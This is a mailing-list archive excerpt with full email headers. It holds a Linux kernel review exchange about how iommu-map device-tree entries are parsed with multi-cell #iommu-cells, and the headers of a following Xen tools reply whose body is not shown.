	id 1wohNN-0005S8-Ao; Tue, 28 Jul 2026 12:57:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373953.1620853; Tue, 28 Jul 2026 12:57:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohNN-0005S1-85; Tue, 28 Jul 2026 12:57:41 +0000
Received: by outflank-mailman (input) for mailman id 1373953;
 Tue, 28 Jul 2026 12:57:40 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <neil.armstrong@linaro.org>) id 1wohNM-0005Rv-8H
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:57:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohNL-00ELix-HS
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:57:39 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a68a737-2eae-0a2a0a5409dd-0a2a450ccb58-20
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:57:39 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <neil.armstrong@linaro.org>)
 id 6a68a743-f479-0a2a450c0019-d155dd36c462-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:57:39 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-4728c12ba97so2290725f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:57:39 -0700 (PDT)
Received: from ?IPV6:2a01:e0a:106d:1080:5788:c4e1:cf35:7211?
 ([2a01:e0a:106d:1080:5788:c4e1:cf35:7211])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f9c4fe4c5sm38412732f8f.12.2026.07.28.05.57.37
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 05:57:38 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=linaro.org header.i="@linaro.org" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Organization:Autocrypt:Content-Language:References:Cc:To:Subject:Reply-To:From:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google; t=1785243459; x=1785848259; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:references:cc:to:subject:reply-to:from
         :user-agent:mime-version:date:message-id:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=aHwnyYbdVqw8Gfk40ksLWUw1FSirv4HShvCRuaQuLzM=;
        b=OQYI1oaZBBE5cQPIg/n9/JUWRRyE7lMggQX+doawyzZfsY+U2q8Yv6ihfzL2Fc9gAq
         1XkO90rrpSM8bqANKe9z7kdRMjHJF+4o0krZK7t0otSDMtsVRCD4Xe1zWoVKqrIfW2ly
         oafxLuc7UtwNmFZuD4W57w0QYM5ckiM54OLjMZz0aZQj9CgDEePiMhB3RvSbWRmBZwEJ
         sjE+/KCk7SeyFGlWiwuAFeFeglbu7W1PisQuEx7EdxpzBa/npgZg0SAq8MuKS+G1Tjin
         0TuQc7XSFZ4vIL8XGBQPJiVzKEbMiZ6VR2b00RDKdii3W8Dk5g7iNViU1y7xZA/53W34
         BgWw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785243459; x=1785848259;
        h=content-transfer-encoding:content-type:in-reply-to:organization
         :autocrypt:content-language:references:cc:to:subject:reply-to:from
         :user-agent:mime-version:date:message-id:x-gm-gg:x-gm-message-state
         :from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=aHwnyYbdVqw8Gfk40ksLWUw1FSirv4HShvCRuaQuLzM=;
        b=LsUYDKCoL3GQOY8FaEEtmROdXwXzaL77jaL8mTzr9AC8/yofQNNBhXUpAn83IcIEpQ
         scMs2cDpfKxvB5QpoJpYl39siYCjNctpPtoyf9baTSydYMjU8cCmeMlGATkfP4P12Gg/
         TEuADv4af112FRjoQWvmKyq5q+FSjeoAtBB0z6BocSPiqHs3OIgCaF1l4PgrZzxIGLoh
         kzqNBUEIkmqHjA+y09VnYvx76zna+bhbwEGpCuUcl6VYoOiXdgaTMi+TdzOF/c8oU9dN
         k5cY52ZeJ+BGVyCw3RYfKZDwDGSPjzeRGNkK1Kh+2xvGsqS8CDKOxLSwWygnxSDMr+My
         MUlw==
X-Forwarded-Encrypted: i=1; AHgh+RpirOs3tfc3JicASXGg3ZJ4o0sGNe0keEJ4wtOxUdMJdzmrUHzXq0iqh9xcuTNG3dtBLVqQUcmCf2k=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzBrYVMIfAxltH8DJ/RMvGUvNpyQ7u6H01MqrJsG70xU2G6QUo2
	ALODzYWY80M5S1tUipodZlFpCSAupTAYFGqRbke8gxuViIMdA27EdZoE67D4AlM+Vds=
X-Gm-Gg: AR+sD11XoMuZuU+yV2lUvULc84nRwRFu8rxF4ZD28SsZkLVHGPL8mq9lURyvVqwfUA9
	aBCSEMPR+sVq2K8+Rwb+17804a7G0RYCv8B7le2CLBabEUDoCy+O0cOvm/wR+/fG8wzEMou4nQa
	FelfQC8PbFDK7/O0qfD6xBKEyTNhs1hk7h6aOXLiMmMF69/nQ45Oyct/HkQc0/tDDnPBkh5pX6T
	7Ep1WE8QLuSfHecI8P90HESpGPTpNuM48wWezzRv2fPofqiD9e1sUxATdIFv1E+qG+LZiSJv9tt
	A+pX9yyj/MOSUvLAW3QPOrgV7bPX1zEIG/FPDpN0RbauCp156wFYz2pvgx36Xhs0aSOTpnsJ41q
	Lr48Ed9BzI/w7ZEtnlEiU+b/6Bg0ovYTC6IBA7GoBp/mzytLcPZB98QsKQmzf/jAj4fplh6BpCd
	v2Wg8/o3tTv6URn2Y77Z58u5atpg5M9NQdee7o8j5Qz7RONZkcqWuqqRJ/JbbDYQ9SVmSt
X-Received: by 2002:a05:6000:4387:b0:47f:89cd:b48 with SMTP id ffacd0b85a97d-47fb1ecc2acmr2978593f8f.5.1785243458685;
        Tue, 28 Jul 2026 05:57:38 -0700 (PDT)
Message-ID: <13d040a7-4fe2-400b-99c8-433f19aad9bc@linaro.org>
Date: Tue, 28 Jul 2026 14:57:37 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Neil Armstrong <neil.armstrong@linaro.org>
Reply-To: Neil Armstrong <neil.armstrong@linaro.org>
Subject: Re: [PATCH v16 3/3] of: Respect #{iommu,msi}-cells in maps
To: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>,
 Robin Murphy <robin.murphy@arm.com>, Nipun Gupta <nipun.gupta@amd.com>,
 Nikhil Agarwal <nikhil.agarwal@amd.com>, Joerg Roedel <joro@8bytes.org>,
 Will Deacon <will@kernel.org>, Lorenzo Pieralisi <lpieralisi@kernel.org>,
 Marc Zyngier <maz@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
 Rob Herring <robh@kernel.org>, Saravana Kannan <saravanak@kernel.org>,
 Richard Zhu <hongxing.zhu@nxp.com>, Lucas Stach <l.stach@pengutronix.de>,
 =?UTF-8?Q?Krzysztof_Wilczy=C5=84ski?= <kwilczynski@kernel.org>,
 Manivannan Sadhasivam <mani@kernel.org>, Bjorn Helgaas
 <bhelgaas@google.com>, Frank Li <Frank.Li@nxp.com>,
 Sascha Hauer <s.hauer@pengutronix.de>,
 Pengutronix Kernel Team <kernel@pengutronix.de>,
 Fabio Estevam <festevam@gmail.com>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>
Cc: linux-arm-msm@vger.kernel.org, linux-kernel@vger.kernel.org,
 iommu@lists.linux.dev, linux-arm-kernel@lists.infradead.org,
 devicetree@vger.kernel.org, linux-pci@vger.kernel.org, imx@lists.linux.dev,
 xen-devel@lists.xenproject.org,
 Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
References: <20260603-parse_iommu_cells-v16-0-dc509dacb19a@oss.qualcomm.com>
 <20260603-parse_iommu_cells-v16-3-dc509dacb19a@oss.qualcomm.com>
 <3f5c974f-425d-47a5-9fda-e05de1f39d79@linaro.org>
 <0d0896af-a4a5-445d-8db7-fdb9eecd07a2@oss.qualcomm.com>
 <69b1235a-832b-4a00-bcfd-f51991d23488@arm.com>
 <569bd4d8-2d77-457e-a0fb-388180c34711@oss.qualcomm.com>
Content-Language: en-US, fr
Autocrypt: addr=neil.armstrong@linaro.org; keydata=
 xsBNBE1ZBs8BCAD78xVLsXPwV/2qQx2FaO/7mhWL0Qodw8UcQJnkrWmgTFRobtTWxuRx8WWP
 GTjuhvbleoQ5Cxjr+v+1ARGCH46MxFP5DwauzPekwJUD5QKZlaw/bURTLmS2id5wWi3lqVH4
 BVF2WzvGyyeV1o4RTCYDnZ9VLLylJ9bneEaIs/7cjCEbipGGFlfIML3sfqnIvMAxIMZrvcl9
 qPV2k+KQ7q+aXavU5W+yLNn7QtXUB530Zlk/d2ETgzQ5FLYYnUDAaRl+8JUTjc0CNOTpCeik
 80TZcE6f8M76Xa6yU8VcNko94Ck7iB4vj70q76P/J7kt98hklrr85/3NU3oti3nrIHmHABEB
 AAHNKk5laWwgQXJtc3Ryb25nIDxuZWlsLmFybXN0cm9uZ0BsaW5hcm8ub3JnPsLAkQQTAQoA
 OwIbIwULCQgHAwUVCgkICwUWAgMBAAIeAQIXgBYhBInsPQWERiF0UPIoSBaat7Gkz/iuBQJk
 Q5wSAhkBAAoJEBaat7Gkz/iuyhMIANiD94qDtUTJRfEW6GwXmtKWwl/mvqQtaTtZID2dos04
 YqBbshiJbejgVJjy+HODcNUIKBB3PSLaln4ltdsV73SBcwUNdzebfKspAQunCM22Mn6FBIxQ
 GizsMLcP/0FX4en9NaKGfK6ZdKK6kN1GR9YffMJd2P08EO8mHowmSRe/ExAODhAs9W7XXExw
 UNCY4pVJyRPpEhv373vvff60bHxc1k/FF9WaPscMt7hlkbFLUs85kHtQAmr8pV5Hy9ezsSRa
 GzJmiVclkPc2BY592IGBXRDQ38urXeM4nfhhvqA50b/nAEXc6FzqgXqDkEIwR66/Gbp0t3+r
 yQzpKRyQif3OwE0ETVkGzwEIALyKDN/OGURaHBVzwjgYq+ZtifvekdrSNl8TIDH8g1xicBYp
 QTbPn6bbSZbdvfeQPNCcD4/EhXZuhQXMcoJsQQQnO4vwVULmPGgtGf8PVc7dxKOeta+qUh6+
 SRh3vIcAUFHDT3f/Zdspz+e2E0hPV2hiSvICLk11qO6cyJE13zeNFoeY3ggrKY+IzbFomIZY
 4yG6xI99NIPEVE9lNBXBKIlewIyVlkOaYvJWSV+p5gdJXOvScNN1epm5YHmf9aE2ZjnqZGoM
 Mtsyw18YoX9BqMFInxqYQQ3j/HpVgTSvmo5ea5qQDDUaCsaTf8UeDcwYOtgI8iL4oHcsGtUX
 oUk33HEAEQEAAcLAXwQYAQIACQUCTVkGzwIbDAAKCRAWmrexpM/4rrXiB/sGbkQ6itMrAIfn
 M7IbRuiSZS1unlySUVYu3SD6YBYnNi3G5EpbwfBNuT3H8//rVvtOFK4OD8cRYkxXRQmTvqa3
 3eDIHu/zr1HMKErm+2SD6PO9umRef8V82o2oaCLvf4WeIssFjwB0b6a12opuRP7yo3E3gTCS
 KmbUuLv1CtxKQF+fUV1cVaTPMyT25Od+RC1K+iOR0F54oUJvJeq7fUzbn/KdlhA8XPGzwGRy
 4zcsPWvwnXgfe5tk680fEKZVwOZKIEuJC3v+/yZpQzDvGYJvbyix0lHnrCzq43WefRHI5XTT
 QbM0WUIBIcGmq38+OgUsMYu4NzLu7uZFAcmp6h8g
Organization: Linaro
In-Reply-To: <569bd4d8-2d77-457e-a0fb-388180c34711@oss.qualcomm.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d25034/1785243459-5073FA5B-E9802B20/0/0
X-purgate-type: clean
X-purgate-size: 6372

On 7/28/26 12:39, Vijayanand Jitta wrote:
> 
> 
> On 7/28/2026 3:34 PM, Robin Murphy wrote:
>> On 28/07/2026 5:05 am, Vijayanand Jitta wrote:
>>>
>>>
>>> On 7/23/2026 6:47 PM, Neil Armstrong wrote:
>>>> Hi,
>>>>
>>>> On 6/3/26 09:13, Vijayanand Jitta wrote:
>>>>> From: Robin Murphy <robin.murphy@arm.com>
>>>>>
>>>>> So far our parsing of {iommu,msi}-map properties has always blindly
>>>>> assumed that the output specifiers will always have exactly 1 cell.
>>>>> This typically does happen to be the case, but is not actually enforced
>>>>> (and the PCI msi-map binding even explicitly states support for 0 or 1
>>>>> cells) - as a result we've now ended up with dodgy DTs out in the field
>>>>> which depend on this behaviour to map a 1-cell specifier for a 2-cell
>>>>> provider, despite that being bogus per the bindings themselves.
>>>>>
>>>>> Since there is some potential use in being able to map at least single
>>>>> input IDs to multi-cell output specifiers (and properly support 0-cell
>>>>> outputs as well), add support for properly parsing and using the target
>>>>> nodes' #cells values, albeit with the unfortunate complication of still
>>>>> having to work around expectations of the old behaviour too.
>>>>>
>>>>> Since there are multi-cell output specifiers, the callers of of_map_id()
>>>>> may need to get the exact cell output value for further processing.
>>>>> Update of_map_id() to set args_count in the output to reflect the actual
>>>>> number of output specifier cells.
>>>>>
>>>>> Signed-off-by: Robin Murphy <robin.murphy@arm.com>
>>>>> Signed-off-by: Charan Teja Kalla <charan.kalla@oss.qualcomm.com>
>>>>> Signed-off-by: Vijayanand Jitta <vijayanand.jitta@oss.qualcomm.com>
>>>>> ---
>>>>>  Â Â  drivers/of/base.cÂ  | 168 +++++++++++++++++++++++++++++++++++++++++------------
>>>>>  Â Â  include/linux/of.h |Â Â  6 +-
>>>>>  Â Â  2 files changed, 135 insertions(+), 39 deletions(-)
>>>>>
>>>>> diff --git a/drivers/of/base.c b/drivers/of/base.c
>>>>> index d658c2620135..ac7961cbab94 100644
>>>>> --- a/drivers/of/base.c
>>>>> +++ b/drivers/of/base.c
>>>>> @@ -2116,19 +2116,49 @@ int of_find_last_cache_level(unsigned int cpu)
>>>>>  Â Â Â Â Â Â  return cache_level;
>>>>>  Â Â  }
>>>>>  Â Â  +/*
>>>>> + * Some DTs have an iommu-map targeting a 2-cell IOMMU node while
>>>>> + * specifying only 1 cell. Fortunately they all consist of value '1'
>>>>> + * as the 2nd cell entry with the same target, so check for that pattern.
>>>>> + *
>>>>> + * Example:
>>>>> + *Â Â Â  IOMMU node:
>>>>> + *Â Â Â Â Â Â Â  #iommu-cells = <2>;
>>>>> + *
>>>>> + *Â Â Â  Device node:
>>>>> + *Â Â Â Â Â Â Â  iommu-map = <0x0000 &smmu 0x0000 0x1>,
>>>>> + *Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x0100 &smmu 0x0100 0x1>;
>>>>
>>>> So the sm8650 PCIe controllers has:
>>>>
>>>> pcie@1c08000:
>>>>  Â Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
>>>>  Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
>>>>
>>>> and
>>>>
>>>> pcie@1c00000:
>>>>
>>>>  Â Â Â Â Â Â Â Â Â Â Â Â  iommu-map = <0Â Â Â Â  &apps_smmu 0x1400 0x1>,
>>>>  Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1401 0x1>;
>>>>
>>>> and apps_smmu has #iommu-cells = <2>, but gets flagged at wrong:
>>>>
>>>> [Â Â Â  7.538800] OF: /soc@0/pcie@1c08000: iommu-map has 1-cell entries targeting 2-cell #iommu-cells, treating as 1-cell output
>>>>
>>>> Returning false in of_check_bad_map() triggers:
>>>>
>>>> [Â Â Â  7.642680] OF: /soc@0/pcie@1c08000: Unsupported iommu-map - cannot handle 256-ID range with 2-cell output specifier
>>>>
>>>> I don't understand the issue here, we use 2 cells as expected by
>>>> the iommu-cells, so why is it wrong ? can somebody explain in
>>>> comprehensive words ? I'm super confused, it worked like a charm until now.
>>>>
>>>> Neil
>>>>
>>>
>>> Hi Neil,
>>>
>>> iommu-map = <0Â Â Â Â  &apps_smmu 0x1480 0x1>,
>>>  Â Â Â Â Â Â Â Â Â Â Â Â  <0x100 &apps_smmu 0x1481 0x1>;
>>>
>>>
>>> Entries here are not 2-cell format, Even though apps_smmu declares #iommu-cells = <2>,
>>> this DT only supplies one output cell (0x1480/0x1481) â€” the trailing 0x1 is the length field,
>>> not a second output cell. (<id-base phandle out-base length>)
>>>
>>> The new code detects exactly this pattern (same target phandle across all entries, length always 1)
>>> and falls back to treating the map as 1-cell output for backward compatibility â€” hence the pr_warn_once.
>>> It's harmless and expected, your RIDs still resolve to the correct SIDs (0 â†’ 0x1480, 0x100 â†’ 0x1481).
>>>
>>> The second message is a different case and shouldn't be coming from this same map â€” once the 1-cell
>>> fallback triggers on the first entry, it applies to the whole map, so you shouldn't hit both warnings
>>> together on the same node. That error only fires for a genuine 2-cell output specifier combined with
>>> an id_len > 1, e.g.:
>>>
>>> iommu-map = <0x0 &apps_smmu 0x1480 0x1 0x100>;
>>>
>>> (<id-base, phandle, out0, out1, length=256>) â€” which isn't supported, since there's no way to
>>> linearly scale a multi-cell output specifier across a range of IDs.
>>>
>>> Are you seeing that second error on the same pcie node, or a different one?
>>> If it's the same node, can you share the exact iommu-map entry that triggers it?
>>
>> I think Neil is saying he bypassed the fallback check so that it *did* try to parse the given map with the real #iommu-cells=2 in precisely the way you've shown - so even if it could have got past that point, it would have then blown trying to parse the second "entry" of just <&apps_smmu 0x1481 0x1>, since 0x1481 almost certainly isn't a valid phandle to read an #iommu-cells value from.
>>
>> Cheers,
>> Robin.
> 
> Right, I get it now, so when it tried to parse with iommu-cells as 2,
> 
> iommu-map = <0     &apps_smmu 0x1480 0x1>,
>              <0x100 &apps_smmu 0x1481 0x1>;
> 
> Above tuples would look something like <0  &apps_smmu 0x1480 0x1 0x100>, where 0x100 from next tuple would be seen as length. Hence, the above error log.
> And the next tuple <&apps_smmu 0x1481 0x1> won't be able to get parsed as you mentioned.

Thanks for the explanation, clearer now.

Neil

> 
> 
> Thanks,
> Vijay
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:58:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:58:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1373958.1620862 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohNr-0005pg-IE; Tue, 28 Jul 2026 12:58:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1373958.1620862; Tue, 28 Jul 2026 12:58:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohNr-0005pZ-Ew; Tue, 28 Jul 2026 12:58:11 +0000
Received: by outflank-mailman (input) for mailman id 1373958;
 Tue, 28 Jul 2026 12:58:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wohNq-0005pI-Aw
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:58:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohNp-00ELxn-Nb
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:58:09 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68a758-e002-0a2a0a5209dd-0a2a4506a76a-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:58:09 +0200
Received: from [52.101.52.14]
 (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a68a760-195a-0a2a45060019-3465340e071b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:58:09 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by LV5PR03MB8436.namprd03.prod.outlook.com (2603:10b6:408:363::14)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Tue, 28 Jul
 2026 12:58:07 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0245.009; Tue, 28 Jul 2026
 12:58:07 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=tRYxn0FUdmgg7SjdwgAAMI8aGVuokewYJ1Grt+IoMeRS1PWQJBDGTCcBLj/zqi50gJY+4d6f45GdeWge5f6eMQ26EHakvfbfAz7HEmQuK1qXp0SgdjBQzkQ4PvtYmIoLD6wCGo1pADgViQkZt1y5NkX4vagXljmwvrMcW/VoHcfaA0jO1OgiTpzY0NhLIlN7DISLTkGmvx6NatLH/1OlH+zfBHUHAj8rybBjoiyMVLgDTE43I/fVsOm3nPtp8NiEfhh9GBJ7RFxlhsOzjOPLMlRwpSJbWh95utuN+t62cw0JT1slyrm+Ah1+3DdFfQJ8P60o7CRV6krtptkXoq3cpQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=pl+CNZzZchFuKaqFlBdG0xNrJV1Mh4ogyzcdf0ysjYM=;
 b=glu7Q2SsPw9eFtJ8XS7dvL5u67QurdRyxY96uQJ+lPKeq/5gEr2JyIe2Vtb/4Jq3S2f5L+EnOGVau53yzBnqVpPFcVj7I2lYLlUuL7rSXh9BOpxqB7osCH5Xy9G5H1LSvs8EOR6o9cfP6nBDMqcgCF7qPFWHWuO7NjEmD2HeIG1cz7cdL9layPJxjT1sT0FThBXU/hcx+cou2SmL+g4I80VHCqcmLLt1aLDyuC6rGuGoJ9oLyqj+aRDuUlnw+NO73+oz+Da8ddDfg2vpEYA6JcxBK7bWi/sGOcNWIgtZykCuBsVc80I+dSJgm4AwcO21H7vX2AmZFKgz+rFtpObRbA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=pl+CNZzZchFuKaqFlBdG0xNrJV1Mh4ogyzcdf0ysjYM=;
 b=QvguYVM+2R/QwZBjJwOvC5ZCou4NPJ40srIQ9FLDclDXB+ETAsnZbX48z/ZthldgcHDQwwkTvndXLtnU+vOiahtN/KpiQcM17s9oGnKcFBzv7WLmOX5Y7L6PEof6VhJJm+EBEzfBRLkzZnQEVbpIxmEAo8EX9dikPBVwxOdd4mY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <49b43341-5075-4989-a066-745373b0dc7e@citrix.com>
Date: Tue, 28 Jul 2026 13:58:04 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Andrii Sultanov <andriy.sultanov@vates.tech>,
 Guillaume Thouvenin <guillaume.thouvenin@vates.tech>
Subject: Re: [PATCH] tools/ocaml: fill arch_config for ARM in
 domain_getinfolist
To: Julian Vetter <julian.vetter@vates.tech>, xen-devel@lists.xenproject.org
References: <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwh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U2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P265CA0240.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:350::20) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|LV5PR03MB8436:EE_
X-MS-Office365-Filtering-Correlation-Id: 72f799f5-9dbd-416b-7467-08deeca7ded6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|376014|1800799024|56012099006|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
